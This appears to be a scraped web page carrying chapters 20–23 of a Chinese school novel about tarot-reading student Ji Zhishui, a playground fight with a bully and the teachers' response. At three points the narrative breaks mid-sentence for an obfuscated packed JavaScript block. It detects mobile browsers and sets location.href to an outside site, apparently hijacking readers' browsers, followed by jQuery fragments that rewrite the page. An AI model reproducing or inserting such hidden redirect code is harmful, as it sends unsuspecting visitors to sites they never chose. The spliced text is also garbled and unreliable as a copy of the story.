她松松扎着浓密如云的长发,神情莫测,膝上摊着三张黑底银边的卡牌。金城高中的校服披在她肩上,犹如女巫背后在风中猎猎的蓝色斗篷,别有一番出尘鬼魅感。
更别提纪之水还会算塔罗牌。
她和平常没什么分别,即使被大家围在一起,成了万众瞩目的中心,整个人还是淡淡的,一点儿也不见骄傲。
大师。妥妥的大师风范啊!
以至于她在占卜时说的每一句话,听起来都变得有些高深莫测。
只听纪之水道:“听从你内心的声音。”
“具有敏感而纤弱的艺术气质,远离喧嚣的人群,素馨如兰、独自盛开……”柳天意念叨着卡牌给予的提示,越想越肯定,激动地说,“你说的那个人,一定是陆于栖!”
有女孩问道:“天意,陆于栖是谁呀?”
“是我分班前的同学,现在在美术班。”
“我和陆于栖之前做过小半学期的同桌,只是分班之后渐渐不联系了,偶尔碰到了会打个招呼。”
说到这儿,大家颇为理解地点了点头。要是和前同学分到同一个楼层,或许还能说上一句话,A班和全年级唯一一个美术班的距离如同天南地北,基本没机会碰上。
“现在回想起来,我和她做同桌的时候,总感觉学习特别有劲儿。”柳天意找出了陆于栖旺她的更多证据,“有一次我和陆于栖分到了一个考场,那场数学考试,我不但选择题全对,还蒙对了最后一道填空!她肯定是你占卜里说的那个旺我的人!”
柳天意握着纪之水的手,顿时感觉头脑清明。
纪之水但笑不语。
作为自告奋勇率先尝试塔罗牌占卜的人,柳天意很快被团团围住。
“之水算得有这么准吗?”
“陆同学这么旺你,你连数学填空都能蒙对?!能不能把你同学的联系方式推给我啊?”
“都说了是旺天意又不是旺你,你要人家的联系方式有什么用?”
“再说一点你和那个艺术班同学的事吧,再说一点吧天意!”
柳天意不吝分享,慷慨地聊起了自己和陆于栖之间的小故事。
高中生和同学在一起的时间多过家人,而一个好的同桌,更是堪比临时家人的存在。黑夜坐到白天,再从白天走进下一个黑夜,和前同桌一起经历过的日日夜夜在脑海里转了一圈,总能挑出许多值得称道的事例。
于栖性格安静、长相漂亮、学习用功……
“你说的那个人是陆于栖吗?”有人忍不住插嘴。
“陆于栖脾气古怪,不爱理人,成绩只能算是普通啊。”
唯有陆于栖的漂亮是不可否认的客观事实。
柳天意不屑于在这种地方和人争长短。认识的朋友怎么样,外人评价都不算数。陆于栖是什么人,难道要别人来告诉她吗?
她自己有眼睛。
正待要细问纪之水详情,再一转头,柳天意瞪大了眼睛。
居然有人趁她讲话的空闲捷足先登了!
狡猾。实在狡猾!
“纪同学,你好厉害呀,连天意高一的事情都能通过塔罗牌分析出来。”女孩先是嘴甜地奉承了一通,又忸怩地询问,“你能不能也给我算一下?”
柳天意气哼哼的。
难得有体育课可以活动活动,穆若婷不爱坐着,要去和几个同学踢球。在她的恳求之下,柳天意才勉勉强强答应替她照看纪之水一阵,是看在好朋友的面子上。
她坐在纪之水边上,斜了见缝插针的小人一眼,也没多说什么。
纪之水说:“好呀。”
她答应下来。
柳天意暗暗想纪之水真是不懂拒绝,还没问清楚对方要算什么就答应了。
万一她算不来呢?
到时候免不了会尴尬。
这个念头一冒出来,柳天意和纪之水对上了目光。纪之水冲着她弯了弯眼睛,嘴角的弧度几乎让人意识不到那是个笑容。柳天意从她眼中看出了一点无知无畏的单纯。
提起塔罗牌,纪之水一改往日阴沉本色,话都变多了。柳天意心里一阵别扭:算了,到时候纪之水出糗,她总会帮她解围的。
看在穆若婷的面子上。
“你还想算什么,等之后回教室我再帮你。”纪之水偏过头,一边洗牌,一边轻声在柳天意耳边说。
她的语气不乏讨好之意。柳天意本来就不是那种会抓住细枝末节不放的人,根本没有为这种小事生气,“知道了。你专心点。”
占卜这么严肃的事情,怎么能分心呢?
女生将胳臂抵在大腿上,支着下巴看纪之水洗牌:“我自己没什么好算的。可以算别人吗?”
“最好不要问和你没有直接关系的问题。不然结果会不准。”纪之水道。
“唔……那如果是和你有关系的问题呢?”女生一拍手,眼睛亮晶晶地问,“这个算出来会准吧?”
“和我有关的问题可以直接问我,没必要问牌了。”
虽然对方问了,她也不一定会答。
柳天意自诩比纪之水更聪明,才不会像纪之水那么迟钝,意识不到这么明显的陷阱。她瞪着眼睛,警惕地说:“你到底想说什么?”
“哎呀,我不是想窥探之水的隐私啦!”女生慌乱地摆了摆手。
她环顾四周,并没有人注意到这处小小的角落。女孩们看她遮遮掩掩,不由地生出了一点好奇心:“究竟是什么是嘛?搞的神神秘秘的。”
“你们有没有听说过那件事?我们学校好像死人了。”她的语气平静到有些吊诡。
相较于刘瑞平用夸张语气也掩盖不住的惊惧,她用闲聊的口吻说起这件事,仿佛是谈起超市周五促销打折的鸡蛋,好奇中透着轻描淡写。
如果能和大家聊一下会很有趣,当然不谈也可以。毕竟群众中有奸细,班里会将学生偷偷携带手机的事情捅给老师的告状精一直没抓着,老师的耳目藏在人群中。
“啊?”
“我好像听人提过,你说的是我们学校跳楼那件事吧?有人说是男的跳了也有人说是女的。不过没凭没据的,说不定传到后来又是造谣。”
“是啊,这种事儿往年也不少,又有人吃饱了编故事呢。”
“空穴来风,好几个班传得沸沸扬扬的呢。”女生说,“也就是咱们班消息一向不灵通,传得比楼下慢。”
纪之水洗牌的手一顿。
这是她的疏漏。究竟有多少人听说了金城高中有人跳楼的传闻?
除了刘瑞平一行人,她根本就没注意到有其他班的人在谈论这件事。
柳天意说:“这件事和纪之水有什么关系?”
“间接关系也算关系的一种嘛。毕竟是发生在学校里的事情。和我们每个人都算得上间接相关。”女生笑嘻嘻的,“就是不知道是真的还是假的,所
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862754|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以才想请纪同学算一算。如果没有这种事,也好粉碎谣言!”
她期待地望着纪之水。虽然内向寡言,但纪之水有一双柔和的杏眼,其实是很好相与的面相。
为什么之前没什么人想和纪之水交往呢?
可能是她太没有存在感了吧。
就连会占卜这么吸引人的事情,也是穆若婷告诉大家的。
“喂,那边的同学!”
远远有人叫了起来,嗓音洪亮:“快让一下!”
她们的注意力都不在篮球场上,提醒声响起时已经太晚。海珠反应过来时,只看见如炮弹一般冲向面孔的篮球,心跳漏了一拍。
惊恐的叫声戛然而止。
横在她面前的胳膊拦住了那颗急掠而来的篮球,护在她脸前。
篮球坠地后向上弹起、下坠、弹起,直至在无人触碰下越滚越远。
海珠惊魂未定,反应过来后轻轻搭上纪之水手腕,悬在半空中的手不敢触碰她被砸中的小臂。她还在发抖,面前替她挡了一下的人却要镇定许多,海珠望着纪之水,心里一阵愧疚。
要是她躲得快一点,纪之水也不会被篮球砸到了……
篮球的冲击力太大,纪之水借着巧劲卸开一点力道,胳膊依旧痛得厉害。她动了动手,没伤到骨头,应当只是青了。
篮球场边传来懒洋洋的声音:“喂!都别愣着啊,帮忙捡一下球。”
这毫无歉意又理所当然的命令语气引得群情激奋。
柳天意顿时火了:“什么人啊你?球差点砸到人不知道道歉吗?”
“不就砸了你们一下吗?嚷嚷什么?”
纪之水望着撒了一地的塔罗牌,蹙了下眉毛。
事发突然,有几张牌脱了手。
这幅牌很娇贵,收藏价值大过使用价值,日常一点儿小磕小碰都会碰掉漆面,她平时使用总是极尽小心。
纪之水深吸一口气,心里涌起一股怒意。
她告诉自己,这里是金城,她没办法和以往一样随心所欲做事,不能因为这种事情和人起冲突。
纪之水俯身去捡散落在地上的那几张牌,不过,有几双手比她更快。
“之水,你胳膊还好不好,痛不痛?”被她护了一下的女生捧着她的胳膊,脸上满是心疼和愧疚之色,“我们来捡吧,你别动了。”
“我没事。”纪之水摇了摇头。
她记得这个差点被篮球砸到脸的女孩,很多人叫她海珠。
海珠胆子不大,晚上听舍友讲恐怖故事都能吓得半宿没睡着觉,后半夜蒙在被子里偷偷哭,惊醒一屋的舍友。那天纪之水被周英提溜出教室,海珠在人群中抱着她的腰,还为她跟周英顶嘴。
即使她们认识的时间还很短。
纪之水抬起没被砸到的那只手,拍了拍海珠的肩膀。
捡回来的牌在粗糙的砂石地面摩擦过,不可避免的留下了几道划痕。纪之水不太高兴,也不忍心再看下去,忍痛将卡牌塞进金属质地的小盒子里,揣进口袋。
那个喊着让她们捡球的男生翻了个白眼,很是不耐烦,“A班的书呆子真是娇贵,捡个球都不会。”
他踢了一脚旁边一起打球的男生,吩咐道:“行了,你去把球捡回来吧。”
篮球场空旷,两拨人马中间无遮无挡,所有人将骆一燃的话听得清清楚楚。
“骆一燃,你少说几句吧。”先前出声提醒她们避让的男生一脸尴尬地说。
众人脸色都不好看,柳天意更是气得冲上去要和人理论。
怕冲突升级,几个女生连忙扯住她的胳膊,“天意,别和他们吵,不值当……”
“骆一燃和寇准他们玩的好,忍忍算了。马上月考了,别和这群混混扯上关系。”
21. 第 21 章
读作“别扯上关系”,写作“别发生冲突”。
今天就算吵赢了又能怎么样?要是骆一燃怀恨在心,蓄意报复,势必会把他们接下来的生活弄的一团糟。
成绩对A班学生而言太重要。每一次考试,每一门成绩,上下十来分的波动都会决定之后的几个星期他们能否坐在A班教室里,享受整个学校最优质的教育资源。
不是不敢和人起冲突,只是她们分得清孰轻孰重。自己的前途比争一时之气更重要。
柳天意忍耐地掐紧手心,还是没办法说服自己接受这个结果。
凭什么?凭什么要忍的是她们?
骆一燃。
纪之水在心底默念这个名字。
冬天的太阳空有亮度,阳光照在身上暖意稀薄。
纪之水眯眼看向球框下抱臂冲她们笑的人。
耳边传来的只言片语已然讲清楚,骆一燃是靠体育特长生的身份降分进的金城高中,文化课成绩对他而言远没有他们纯文化生那么重要。
他欺男霸女、气量狭小,报复心还重。这种人得罪不起。
骆一燃身高目测一米八不到,身材和黎明达比起来是另一个极端,他脖子粗壮,隔着冬日衣物依旧显出壮硕的笨重。
似乎笃定没人敢和他叫板,骆一燃讲话越来越难听。
站在骆一燃身旁的程力脸色发青。他也在骆一燃扫射的攻击范围之内,受了两句不痛不痒的阴阳怪气。然而他什么也没说。
骆一燃不但对着隔壁班的女生大放厥词,连身边的同班同学都要挨上几句不痛不痒的教训和拳脚。
骆一燃很享受这种能够披着以“玩笑”为遮羞布肆意对他人施展暴力,而那些人却只能忍气吞声的快意。拳头就是权力,权力就是一切,身边人唯唯诺诺,才更能衬托出他的英武不凡。
对于程力这种息事宁人的做法,骆一燃很是看不上眼。同样是体育特长生出身,他们原本有机会成为聊得来的人,但两年过去,他们只是泛泛之交。骆一燃看不惯程力明明身材高大,却空有一身肌肉,安于在班里做吊车尾,随便什么瘦竹竿都敢和他开玩笑。
如果他也是程力这种性格,骆一燃就不会一天到晚跟着寇准招猫逗狗了。
寇准不在校的这几天,他们几个兄弟安静了不少,晚自习都能在班里看得到人影。虽然也没什么人学习,大都趴下睡觉干熬时间。这样的日子和平常相比无聊透顶。
骆一燃感觉他现在的状态就如同他的名字,心里有一把火在烧。
骆一燃嗤笑一声:“好了程力,到时候书呆子又要去找老师告状了,快去做好人吧,道个歉,再求求人家原谅你。”
他充满恶意地说:“毕竟是你把球扔出去的,对吧?”
道理柳天意都知道,但身体总是不受控制。骆一燃就差把她的脸皮扒下来扔在地上踩了!
她咬了咬牙,迈开脚步,一道不轻不重的力道推她一把,将她送进海珠的怀抱里。
柳天意站稳后诧异抬头,却发现纪之水早就越过她越走越快,眨眼间已经出现在骆一燃面前。
坏消息是纪之水被砸中了右臂,一个星期之内写字都痛。这是完全的飞来横祸。
好消息是她左手也很有力道。
纪之水握紧拳头,没等对方反应,一拳狠狠砸在骆一燃脸上。
拳头飞过去的那一瞬间,率先升起是快意。
指骨击中那张讨厌的脸,在剧烈的撞击之下,骆一燃的五官变形。
这是个很具有电影镜头感的慢动作。手指的疼痛让纪之水的感官更加清晰,双眼清楚捕捉到了他痛苦的每一帧画面,自动过滤了周围的嘈杂声。
这一拳头远比篮球要砸得结实。
任何不爽和愤怒都在拳头的抚慰下抹平。
就像武侠小说里说的那样,天下武功唯快不破,要的就是出其不意。纪之水收回拳头,在骆一燃面前站定,实打实的打架对她来说还很生涩。
周围的空气仿若凝固。
没有声音,也没有动作。
场外的其他人震惊的表情让纪之水想起遇到危险呆立不动的狍子,她只隔着电视屏幕在动物世界见过这一画面。
没想到今天还能见到真人版。
好事成双。
好不容易从操场外围捡回来的篮球从男生手中脱手而出,砸在地上,突兀地发出撞击声。
随着篮球滚远,空气重新流通,骆一燃捂住半边脸,像是没反应过来,几乎尝得到口腔里的血腥味。
“这一拳头就当是还你的。这下就不用和我们道歉了,同学,我们扯平了。”
骆一燃耳边嗡鸣,那个长头发矮个儿女生的声音仿佛飘在另一个世界。
纪之水理解男人们充满阳刚之气的骄傲。
她要一份道歉也没什么用,哪有拳头来的爽快?
骆一燃额头青筋暴起,“我日你——”
砰——
骆一燃的脸被砸歪过去。
·
人群渐渐围拢,风暴中心几乎产生了一场虹吸效应,同一时间段上体育课的班级都有人朝冲突发生地围拢。看热闹是很多人刻在骨子里的本能。
总算有人想起来寻找外援。
体育办的门被人撞开,滚进来几个着急忙慌的学生,嘴里还喊着:“不好了老师!外面打起来了!”
在办公室躲清闲的体育老师不动则以,一被惊动就听到了堪比天塌下来的消息。
从早上到校时起,他的眼皮就在跳个不停。
俗话说得好,左眼跳财,右眼跳是他眼轮匝肌发生间断性不自主收缩,最近用眼过度,还需要注意多休息,所以他才会在科学的指引下延长了这节课的自由活动时间,选择在办公室多处理一会儿工作。
这道充满救赎感的声音一出现,他心里那块高悬的大石头好像落地了。
眼皮也不跳了。
——早知道今天要发生这种事情,还不如提前请个病假,把课托付给数学老师。
他像是即将登基的皇帝,又如同被赶鸭子上架的鸭子,在几个学生的簇拥之下左脚绊右脚地走出办公室。
远远就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862755|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看见了被挤得水泄不通的篮球场,一口气吊在嗓子眼里上不去也下不来。
体育老师怎么也想不到有一天自己会看见A班那个以学习好和性格好闻名的班长顶着一张云淡风轻的脸,抡起拳头一拳一拳往人脸上砸,活像个阳光开朗型暴力狂。
他脸色一阵青一阵紫,用力吹响挂在胸口的哨子。
尖锐的哨音并没有分开在两球场上打得不可开交的两人,体育老师整个脸部肌肉都有些不受控制。
他放出声音吼道:“顾天倾,住手!”
“不许再打了,马上要高考了你想吃处分吗?”
拳脚相向的两大主力被扑上去的几个男生撕扯着分开。骆一燃打红了眼,像一头暴怒的野牛。他看上去比顾天倾更像是率先动手的人。
纪之水早就在听见哨声的刹那让出了位置,方便顾天倾大展身手。
等其他人冲上去劝架的时候,海珠甚至已经帮她整理好了因为动作幅度太大而散乱的头发。
纪之水的手臂没疼到头发都没法自己扎的地步,只是看着海珠亮晶晶的眼睛,拒绝的话无论如何都说不出口。
刚从足球场上退下来的穆若婷慢了整个世界半拍。她尚且不知道发生了什么,只在同学的报信下隐约听说他们和隔壁班起了冲突,匆忙赶回。
她目瞪口呆:“这么一会儿功夫出什么事儿了?”
顾天倾和人打起来了?
穆若婷忍不住问:“谁先动的手?”
周围人欲言又止。穆若婷去看柳天意的眼睛,她嗫嚅着,没有回答,目光一点点偏向了纪之水。
穆若婷得到了一个出乎预料的回答。
纪之水沉默几息,道:“……是我。”
穆若婷:“啊?”
顾天倾站在体育老师边上听训。
他认错态度良好,被劈头盖脸一顿骂也没有表现出任何不服气,只是一味低眉顺眼地附和:“是我冲动了……不应该和同学打架……”
两个班消失的体育老师在此刻齐聚。他们各自站在学生面前,五官表情和唾沫齐飞。
“为什么要打架?”
“谁先动的手?”
骆一燃浑身都疼。
脸上挨的两拳让他丢尽了脸面,打在身上的那些拳脚更是狠,几乎让他五脏六腑抖错了位。有那么一瞬间,骆一燃甚至以为手无缚鸡之力的书呆子被拳王泰森附身了。
他抡起拳头回击时,无论如何也只能只看到两个看上去就不懂得如何打架的学霸高中生。
显然,他们只是胜在出其不意,加上人数上占优势。要是体育老师再晚出现几分钟,他肯定会带着人打回去。
不至于输成这样——
骆一燃一眼捕捉到了人群之中低眉垂首的长发女生。
不知何时她抽身而去,成了与此无关的围观群众,一双阴沉的眼睛直勾勾地盯着他的方向。这比挑衅更像挑衅。
他怎么可能放过她?
骆一燃一手指过去,准确无误地抓住纪之水,骂了句脏话,“是她,她先动的手!”
22. 第 22 章
围观的学生在老师的呵斥下疏散开,被勒令不准再靠近。
当然,这其中不包括纪之水。
有了骆一燃的指证,纪之水不得不留下。她很有主动出手打了人后的自觉,不管心里如何想,至少表现得不无愧疚。
顾天倾盯着她的脸看了片刻,在纪之水的回视前率先挪开眼:
好像是他眼花了。
她看着这么老实,应该只是因为还没等到顶嘴的机会。
体育老师彼此交换了怀疑的目光,视线扫过纪之水纤细的胳膊、瘦弱的身板……明显是个文弱内向的女生。再看看骆一燃臃肿校服都遮不住的魁梧,心中都有了计较。
能让这样的女生和一个体型比她大了一圈有余的男生打起来,属于是老实人被逼急了。
A班体育老师问:“你先动的手?”
纪之水承认道:“是我先打的他。”
她表情冷静,口齿清晰,却不敢直视老师的眼睛,目光偏了偏,落在人肩膀上。
又一重力证:她一定是强装镇定。
三个人并排站着,直观对比下更加显得性格迥异。
骆一燃脾气暴躁,一点就炸,即便被命令站着也小动作不断,愤恨的眼神时不时扫过身边的两个人。纪之水的表现则全然是他的反面,似乎已经呆住,被吓得一动都不敢动。
这么老实的小孩,一看就是被逼到了极点才会出手反抗的啊!
只有顾天倾积极地回话,礼貌又妥帖,几乎让人忘却了他几分钟之前的暴力行径。
纪之水在一边听着,心中不无诧异:顾天倾比她想象中的还要能装模作样。
“我在那打球打得好好的,这个神经病莫名其妙冲上来给我一拳!”骆一燃松开半捂着脸的手,露出鼻孔下的血痕,咬死了纪之水不放,“老师,你们该不会因为她是A班的好学生就包庇她吧?”
眼见没人搭腔,他急不可耐地提高了声音:“交的都是一样的学费,我们平行班的学生没人权啊!”
体育老师已经通知了两个班的班主任,等人过来处理。
两个班的学生在他们眼皮子底下打起来,俩人脸上也不光彩。闻言瞪他一眼:“你没做什么她会动手打你?”
“受害者有罪论是吧?”骆一燃没想到都被他点出来了,老师还敢这么正大光明地包庇。
都是资本的阴谋!
他深深认识到了这个世界的黑暗,咬牙切齿,心里暗恨。
眼见操场门口有个老师急急忙忙朝这里走,骆一燃眼中闪过一道暗色,声音大得恨不得响彻整片操场:“我要举报!这女的在体育课上聚众赌/博,我看不过去才骂了她几句。你们连这个也不管吗?”
“……你说什么胡话呢在这?”
纪之水脸上带着事不关己的冷漠,索然地盯着脚尖。
骆一燃冲着纪之水道:“操场上那么多双眼睛可是看着呢,你敢不敢说自己没有聚众打牌?”
顾天倾轻声笑了笑。这不合时宜的笑声在此刻显得突兀,几人朝他看去,骆一燃脸上更是浮现出受辱的愤怒。
“你他大爷的笑个毛啊?”
“前言不搭后语。”
“你一会儿说你自己是什么都没做,纪之水莫名其妙地冲上去打了你,一会儿又说是因为看到她聚众赌/博看不过去才骂了她。且不说她到底有没有这么做,你是承认了自己先骂了人,才挑起了争端吗?”
骆一燃不擅长不带脏字地打嘴仗,一时间舌头发僵。
顾天倾追问:“现在,你还仗着纪之水同学为人不善言辞,肆无忌惮地倒打一耙,当着她的面造谣污蔑她。这位同学,你的良心可真坏啊。”
“叽里咕噜的不知道在说什么,老子还没提到你是吧?”骆一燃看不惯这个说话文绉绉的外地佬很久了,一串话从头听到尾就听出来顾天倾骂他心黑。
骆一燃有一种想要撕烂顾天倾的嘴再扇他几巴掌的冲动,“这家伙也不是什么好东西,球场那么大,他那篮球长了眼睛似的,盯准了老子的脸一样往我脑袋上砸!这算得上是故意伤害了吧?”
体育老师往骆一燃脑门上扇了一巴掌,忍无可忍道:“混账东西!你是谁老子?”
·
躲得过初一躲不过十五。
上回因为黎兴学不接电话侥幸逃过,今天,纪之水再一次被叫了家长。
“你爸怎么又不接电话……”李茂也被弄得没脾气了。
纪之水抬眼瞅瞅他,又看看一边站着的骆一燃。察觉到她的目光,骆一燃恶狠狠地瞪了她一眼。
被领进办公室后他仍不死心,又当着两位班主任的面重申了一遍她聚众打牌的事儿。纪之水一言不发,没等老师问,就将身上的所有口袋都翻了过来,将袋子里的东西堆在办公桌上。
掏遍了每一个口袋,只找出一张光秃秃的校园卡和一把钥匙。
骆一燃又挨了他班主任的骂:“编瞎话也不知道编点好的,你以为所有人都和你们几个一样?!”
顾天倾和骆一燃的家长已经通知到位,只剩下李茂依旧在和一个永远不会及时接电话的黎兴学还在僵持。
上回找不着人也就被轻轻放过了,这回骆一燃的医药费还等着家长来付呢。纪之水淡淡扫过骆一燃青紫的脸。
他刚刚躺在地上哎呦哎呦地喊了一通,,将整个办公室搞的鸡飞狗跳。骆一燃意图很明显,就是讹上他俩了,今天不见兔子不撒鹰。
纪之水主动报了串电话号码给李茂。
李茂一边输入一边抱怨:“你爸换手机了你不早说?”
还记着上回两通电话过去没人理的事儿。
纪之水说:“是司机的号码。”
李茂输电话号码的手顿了顿。
骆一燃更是一副被资本暗算了的表情。
等着家长来的空闲,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862756|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两名班主任轮流上阵,将三人教训了一通。纪之水无动于衷,发着呆等训话结束。
最先到的是个西装革履的青年人,他一进门,几乎让纪之水觉得解脱。漫长的跑了无数次题的训话终于结束了。
西装男笑容满面,进了办公室先和李茂握手,仿佛这是一场颇为正式的商务会面。
他有着和顾天倾如出一辙的虚伪感。纪之水在心里点评。
不用说,这一看就是顾天倾那边的人。
除此以外,纪之水对西装男的第一印象就是年轻得过分。
他大概三十岁左右,穿着打扮和整个金城格格不入,西装外套外面披着大衣,像是看轻了金城的冬天。以他的年纪推算显然生不出顾天倾这么大的儿子,并且两人在长相方面也毫无相似之处。
见家长到位,学生也教育得差不多,李茂赶纪之水和顾天倾回去上课,这边没他们的事儿了。5班的班主任留下了骆一燃,估计还有话要说。
纪之水没有多看,离开得很干脆。
上课时间,教学楼里很安静。只有在楼梯转角处,能够听到最近的班级里传来老师讲课的声音,转过一个弯就听不清了。
纪之水下到一楼,寻到一条晒得到太阳的长椅。
她不急着回班,坐下晒了会儿太阳,思索着体育课上女孩们口中传得沸沸扬扬的跳楼事件。
因为骆一燃中途打岔,她根本来不及多探听些什么。
如果刘瑞平在场,他大概会举手发誓自己绝对不是传播这件事的始作俑者。
那天周日下午的目击者难道不止刘瑞平一个吗?
如果还有其他人看见了,她/他为什么也认为有人坠楼?
纪之水一脸狐疑。
她看向楼梯口,瞥见一个不知道在那儿站了多久的人,问:“你站在那干什么?”
“不回去上课吗。”顾天倾走近了。
他正对着太阳,被光照得有些睁不开眼。纪之水正大光明地打量着他。或许是意识到他的假笑对她没用,顾天倾再也没在她面前那么笑过。
像面具一样覆盖在顾天倾脸上的完美笑容褪去,他的五官呈现出一种偏冷感的英俊。本来就不是活泼开朗的性格……那样假笑才不搭。
纪之水说不。
眼看顾天倾没有要回去上课的意思,纪之水想了想,让他走近些。
她朝着顾天倾伸手。
任何娱乐项目都在金城高中被明令禁止。好在她多长了个心眼,被提溜回办公室的路上悄悄把牌塞进了顾天倾口袋里。
纪之水问:“你为什么要打骆一燃?”
顾天倾学舌道:“那你为什么要打他?”
“因为他说话很难听。”纪之水说。
“那我也是一样的理由。”顾天倾笑起来。
这个笑容坏得彻底。
纪之水确信顾天倾肯定拥有一个邪恶的灵魂。
23. 第 23 章
能不揍他吗?
顾天倾原本正好好的在篮球场上打球,一转头看见纪之水气势汹汹地往隔壁篮球场上走,二话不说一拳头砸在隔壁班体育生脸上,吓得差点没把眼睛瞪出去。
纵然纪之水性格古怪、孤僻,对人情世故几乎一窍不通,但顾天倾不觉得她会毫无理由地和人动手。
那个身材壮硕的体育生果不其然被惹怒。隔着几十米,他都能听见对方的怒骂声。
体育生下手没轻没重,顾天倾真怕骆一燃几拳头下去给纪之水打死了。
要恨也只能恨他太有良心。九年制义务教育里的每一堂道德与法治课,顾天倾都未曾缺席,眼看一桩恶性/事件摆在面前,他无法坐视不理。
实在没办法,情急之下,顾天倾只好抄起同伴手中的篮球砸了过去。
后来的事水到渠成。
毕竟,骆一燃也还手了。
打架这种事情,开始了就没办法喊停。顾天倾要是主动求和,迎接他的只会是毫不留情的拳头。
纪之水朝着他摊开手,一个索要的姿势。他却自认没什么东西好交付给她,顾天倾视线下移,望着纪之水掌心的纹路,淡声道:“要什么?”
“我的塔罗牌,在你手边的口袋。”
顾天倾一愣。他下意识将手伸进外套口袋,指尖触碰到那个已经被体温捂热的金属铁盒。
她什么时候放进去的?
他居然一点儿也没察觉到。
顾天倾把塔罗牌还给纪之水,看她对着阳光观察卡牌上的纹路。
她的黑色指甲在两个老师轮番上阵的批评下依旧幸存,浑身上下只多了一点聊胜于无的改变:她敷衍地把头发扎成了低马尾。
“你会算这个?”
顾天倾在长椅的另一边坐下了。两人中间空出的位置挤一挤恨不得能坐下两个人,但是双方一致认为隔着这么远的距离交流十分合适。
顾天倾有些好奇地问:“这东西算得准不准啊?”
标准的外行提问方式。
纪之水心疼地摩挲着卡牌上碰掉的一点点漆面,斜他一眼:“要看你信不信。”
面无表情是和保持标准微笑一样犯规的招数,让人无法在交谈之中辨别他的情绪。纪之水慢悠悠地洗牌,顾天倾大概不会相信这种看图说话的游戏。
事实胜于雄辩。
纪之水决意让顾天倾看到她想让他看的事实。她发出鼓动的邀约:“想不想试试看?”
“好啊。那就辛苦你了。”顾天倾爽快地接受了这一提议。
“想问些什么?”
“让我想想。”顾天倾短暂地思考过后,慢慢地问,“接下来的月考,我会取得好的成绩吗?”
塔罗牌占卜的常见类型不过这几种,学业、事业、爱情。顾天倾的问题并不出格,然而纪之水想到张贴在告示栏的成绩单,还是感觉到了一丝敷衍。
这幅牌很合手,洗牌切牌毫无滞涩。
“现在,集中精神,在心里默念你的问题。”塔罗牌在学校老旧的木椅上推成一条完美的半圆弧,纪之水做了个手势,“请抽牌。”
顾天倾极力做出了好奇的样子,精挑细选地抽出了三张牌。
比起在意结果,他的表现更像是出于礼貌的配合。三张牌翻过去究竟是什么,顾天倾可能根本就不关心。纪之水心想,即使抽中了不好的牌面,他也不会像其他人一样——纠结、要求重复印证、贬低塔罗占卜是一项违反科学的活动……他估计只会浑不在意地略过,轻描淡写地夸赞这是一场有趣的游戏。
纪之水将第一张牌调转180°翻开,牌面印入眼帘。
这是一张魔术师正位。
戴着尖角巫师帽的银发魔女站在画面正中心,一手指天,一手指地,脸上带着神秘莫测的笑容。她的腰际缠绕着一条黑蛇,头顶的天空飘浮着缠绕的衣带——那条带子首尾相接,细看是象征着无穷无尽的循环变化的无限符号。
为了看清牌面,顾天倾身体微微前倾:“这画的是什么?”
“魔术师。”
门外汉听不懂专有名词,只是道:“唔……看起来和你有点儿像。”
纪之水一顿,“哪里?”
她问得简略,顾天倾充分理解了她的意思。他答道:“气质。你和她的气质很相似。”
这幅牌的画风偏神秘美型,刻画精致到了头发丝,就连人物的小饰品上都做了恰到好处的精巧镀银。
纪之水勉强将其作为一句没什么意义的奉承。
她随手翻过了第二张牌,星币九逆位。忽然听得顾天倾疑惑的嗓音:“你刚才是这么翻牌的么?”
纪之水心头一跳,“你不是不懂么?”
她将那张星币九掉了个个儿。
这下是正位了。
“我确实不太懂。”顾天倾望着她笑,“不过现在能够感受到,你大概是个半吊子占卜师。”
纪之水默不作声地翻完第三张牌,太阳正位。好得不能再好的一组牌,她对上顾天倾含笑的脸,似乎从中品出了嘲弄和奚落——因为她的一时不察。
“塔罗牌说,你会考得很好。”纪之水假笑。
她兴致全无地将三张牌放回牌堆里,整理收纳好。顾天倾过了一会儿,明知故问:“你生气了吗?”
纪之水:“……”
没有。想让她生气才没有那么容易。
她只是意识到了自己的错漏百出,以及一个精明得堪比狐狸的人不会在这种情况下被她套出话,所以收起了这套小把戏。正如顾天倾所言,她根本不会占卜,连塔罗牌也是刚拆封的。
“不要收起来嘛。我们再玩一会儿?”
顾天倾将这一套流程归结为“玩耍”。
纪之水不知道他葫芦里卖的什么药,牵起唇角冷笑:“你还想问什么?”
“都说有来有往,友情才会长久。”顾天倾的手指轻轻搭在摞起的牌堆上,指尖触碰着六芒星法阵的边缘,透出询问之意,“我也想帮你算一算。要试试吗?”
“谁和你是朋友?”
纪之水冷声道:“我没什么想算的。”
